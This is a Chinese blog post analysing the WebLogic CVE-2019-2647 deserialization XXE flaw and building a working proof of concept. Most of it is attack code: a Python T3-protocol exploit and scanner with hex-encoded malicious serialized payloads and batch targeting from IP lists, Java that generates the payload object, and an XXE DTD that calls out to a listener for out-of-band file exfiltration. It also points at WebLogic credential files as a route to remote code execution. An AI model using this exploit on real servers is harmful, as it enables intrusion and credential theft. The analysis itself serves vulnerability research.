Fork me on GitHub

# WebLogic CVE-2019-2647 反序列化XXE POC构造

先看下漏洞分析,最后给出POC构造。

本地监听1234端口
python2 xxer.py --http=1234 --hostname=127
.0.0.1 --dtd=1.dtd --ftp=2121

通过T3协议发数据包:
python2 exp.py -t 127.0.0.1 -p 7001

#!/usr/bin/env python
#coding:utf-8
import socket
import time
import re
import argparse
from multiprocessing.dummy import Pool

VUL=['CVE-2016-0638',
    'CVE-2016-3510',
    'CVE-2017-3248',
    'CVE-2018-2628',
    'CVE-2018-2893'
    ]
PAYLOAD=['aced0005737200327765626c6f6769632e777365652e72656c696162696c6974792e5773726d5365727665725061796c6f6164436f6e7465787403849ed552b214ee0c00007872002c7765626c6f6769632e777365652e72656c696162696c6974792e5773726d5061796c6f6164436f6e7465787444144731d8d55e3b0c0000787077970003392e320000000000000000ffffffffffffffffffffffff000000763c3f786d6c2076657273696f6e3d22312e30223f3e0a3c21444f435459504520646174612053595354454d2022687474703a2f2f3132372e302e302e313a313233342f312e64746422205b3c21454c454d454e542064617461202823504344415441293e0a5d3e0a3c646174613e343c2f646174613e0000000078',
    '',
    '',
    '',
    '',
    ]
VER_SIG=['weblogic.jms.common.StreamMessageImpl',
    'org.apache.commons.collections.functors.InvokerTransformer',
    '\\$Proxy[0-9]+',
    '\\$Proxy[0-9]+',
    'weblogic.jms.common.StreamMessageImpl'
    ]

def t3handshake(sock,server_addr):
    sock.connect(server_addr)
    sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
    time.sleep(1)
    sock.recv(1024)
    print('[!]{}:{} handshake successful'.format(server_addr[0],server_addr[1]))

def buildT3RequestObject(dip,sock):
    data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
    data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd60000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'
    data3 = '1a7727000d3234322e323134'
    data4 = '2e312e32353461863d1d0000000078'
    for d in [data1,data2,data3,data4]:
        sock.send(d.decode('hex'))
    time.sleep(2)
    print('[!]{} send request payload successful,recv length:{}'.format(dip,len(sock.recv(2048))))

def sendEvilObjData(sock,data):
    payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
    payload+=data
    payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
    payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
    sock.send(payload.decode('hex'))
    time.sleep(2)
    res='NO_DATA'
    try:
        res=sock.recv(4096)
    except socket.timeout:
        pass
    # print res.encode('hex')
    return res

def checkVul(res,server_addr,index):
    p=re.findall(VER_SIG[index], res, re.S)
    if len(p)>0:
        print('[+]%s:%d vul %s'%(server_addr[0],server_addr[1],VUL[index]))
        return True
    else:
        print('[-]%s:%d is not vul %s' % (server_addr[0],server_addr[1],VUL[index]))
        return False

def run(dip,dport,index):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    ##打了补丁之后,会阻塞,所以设置超时时间,默认15s,根据情况自己调整
    sock.settimeout(60)
    server_addr = (dip, dport)
    t3handshake(sock,server_addr)
    buildT3RequestObject(dip,sock)
    rs=sendEvilObjData(sock,PAYLOAD[index])
    checkVul(rs,server_addr,index)

def exp(target):
    dip,dport = target
    vuls = []
    for index in range(len(VUL)):
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            ##打了补丁之后,会阻塞,所以设置超时时间,默认15s,根据情况自己调整
            sock.settimeout(60)
            server_addr = (dip, dport)
            t3handshake(sock,server_addr)
            buildT3RequestObject(dip,sock)
            rs=sendEvilObjData(sock,PAYLOAD[index])
            if checkVul(rs,server_addr,index):
                vuls.append(VUL[index])
        except Exception as e:
            print('[-]{} fail:{}'.format(dip,str(e)))
    return {'ip':dip,'status':'ok' if len(vuls)>0 else 'fail','vuls':vuls}

def load_target_from_file(filename,port):
    iplist = []
    with open(filename) as f:
        for line in f:
            ip = line.strip()
            if len(ip)>0:
                iplist.append((ip,port))
    return iplist

def process_result(results):
    results_ok = []
    results_fail = []
    for r in results:
        if r['status'] == 'ok':
            results_ok.append('{}:{}'.format(r['ip'],','.join(r['vuls'])))
        else:
            results_fail.append(r['ip'])
    print('[+]vuls total:{}\n{}'.format(len(results_ok), '\n'.join(results_ok)))

def main():
    parser = argparse.ArgumentParser(description='weblogic scanner')
    parser.add_argument('-f','--file',default=None,help='read target ip from file')
    parser.add_argument('-t','--target',default=None,help='target ip')
    parser.add_argument('-p','--port',default='7001',help=' server port,default is 7001')

    args = parser.parse_args()
    if not args.file is None:
        iplist = load_target_from_file(args.file,int(args.port))
        pool = Pool(10)
        results = pool.map(exp,iplist)
        pool.close()
        pool.join()
        process_result(results)
    elif not args.target is None:
        exp((args.target,int(args.port)))
    else:
        parser.print_help()
        print('You must set target ip or file!')

if __name__=="__main__":
    main()

在WsrmServerPayloadContext类的readExternal方法下断点,调用父类的readExternal,父类的方法只是标准化一些格式。这里略过。
Alt text
跟进readEndpt方法,漏洞触发点就在90行parse解析,var14就是传入的payload
Alt text
深入跟parse就跟这篇文章一样了XXE深入原理探究
本地监听的1234端口收到请求1.dtd请求。
Alt text
POC如下,直接将发序列化对象转换成hex了:

package weblogic;

import weblogic.wsee.addressing.EndpointReference;
import weblogic.wsee.reliability.WsrmServerPayloadContext;

import java.io.IOException;
import java.lang.reflect.Field;

public class WeblogicXXE1 {
    public static void main(String[] args) throws IOException {
        Object instance = getXXEObject();
//        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
//        out.writeObject(instance);
//        out.flush();
//        out.close();

        java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();
        //用于将对象转换成byte[]数组的ObjectOutputStream
        java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(baos);
        //将对象写入ByteArrayOutputStream
        oos.writeObject(instance);
        byte[] bytes = baos.toByteArray();
        bytesToHexString(bytes);
//        System.out.println(bytes);
        //用于将将对象存入文件的ObjectOutputStream
        java.io.ObjectOutputStream oos2 = new java.io.ObjectOutputStream(new java.io.FileOutputStream("xxe"));
        //将对象写入string指定的文件中
        oos2.writeObject(instance);
        oos.close();
        oos2.close();
        baos.close();
    }

    public static String bytesToHexString(byte[] src) {
        StringBuilder stringBuilder = new StringBuilder("");
        if (src == null || src.length <= 0) {
            return null;
        }
        for (int i = 0; i < src.length; i++) {
            int v = src[i] & 0xFF;
            //将一个byte的二进制数转换成十六进制字符
            String hv = Integer.toHexString(v);
            //如果二进制数转换成十六进制数高位为0,则加入'0'字符
            if (hv.length() < 2) {
                stringBuilder.append(0);
            }
            stringBuilder.append(hv);
        }
        System.out.println(stringBuilder.toString());
        return stringBuilder.toString();
    }

    public static Object getXXEObject() {
        EndpointReference fromEndpt = new EndpointReference();

        EndpointReference faultToEndpt = null;
        WsrmServerPayloadContext wspc = new WsrmServerPayloadContext();
        try {

            Field f1 = wspc.getClass().getDeclaredField("fromEndpt");
            f1.setAccessible(true);
            f1.set(wspc, fromEndpt);

            Field f2 = wspc.getClass().getDeclaredField("faultToEndpt");
            f2.setAccessible(true);
            f2.set(wspc, faultToEndpt);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return wspc;
    }
}

重写WsrmServerPayloadContext类的writeEndpt方法

private void writeEndpt(EndpointReference var1, ObjectOutput var2) throws IOException {
        ByteArrayOutputStream var3 = new ByteArrayOutputStream();
        OutputFormat var4 = new OutputFormat("XML", (String)null, false);
        XMLSerializer var5 = new XMLSerializer(var3, var4);

        Document doc = null;
        try {
            DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
            //从DOM工厂中获得DOM解析器
            DocumentBuilder dbBuilder = dbFactory.newDocumentBuilder();
            //读入文档输入流
            InputStream is = new FileInputStream("F:\\IDEA-project\\weblogic\\src\\main\\java\\weblogic\\test.xml");
            //创建文档树模型对象
            doc = dbBuilder.parse(is);
        } catch (Exception e) {
            e.printStackTrace();
        }
        var5.serialize(doc);
        byte[] var6 = var3.toByteArray();
        if (verbose) {
            Verbose.log("Writing Endpoint:");

            for(int var7 = 0; var7 < var6.length; ++var7) {
                Verbose.getOut().print((char)var6[var7]);
            }

            Verbose.getOut().println();
        }

        var2.writeInt(var6.length);
        var2.write(var6);
    }

test.xml内容如下

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://127.0.0.1:1234/1.dtd" [
        <!ELEMENT data (#PCDATA)>
        ]>
<data>4</data>

在构造bind-xxe时,引参考文章的:my.dtd如下(my.dtd在使用PoC生成反序列化数据的时候先清空,然后,不然在dbBuilder.parse时会报错无法生成正常的反序列化数据,至于为什么,只有自己测试下才会明白):
构造xxe POC有好多坑,自己走过才知道。dbBuilder.parse时会将POC将外部资源的解析一次,%dtd;%send;会被处理掉,所以需要16进制硬怼一次。详细细节参考下面的文章。
CVE-2019 2647-2650 POC构造都是类似,其他不分析了。

这俩个weblogic的关键文件无法读取,原因需要解决。如果这俩个文件内容读取到了,破解出用户名和密码相当于RCE了 /Users/kkuyo/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/security/boot.properties
/Users/kkuyo/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat

参考链接如下:
https://paper.seebug.org/906/

posted @ 2019-05-05 20:22  Afant1  阅读(1185)  评论(0编辑  收藏  举报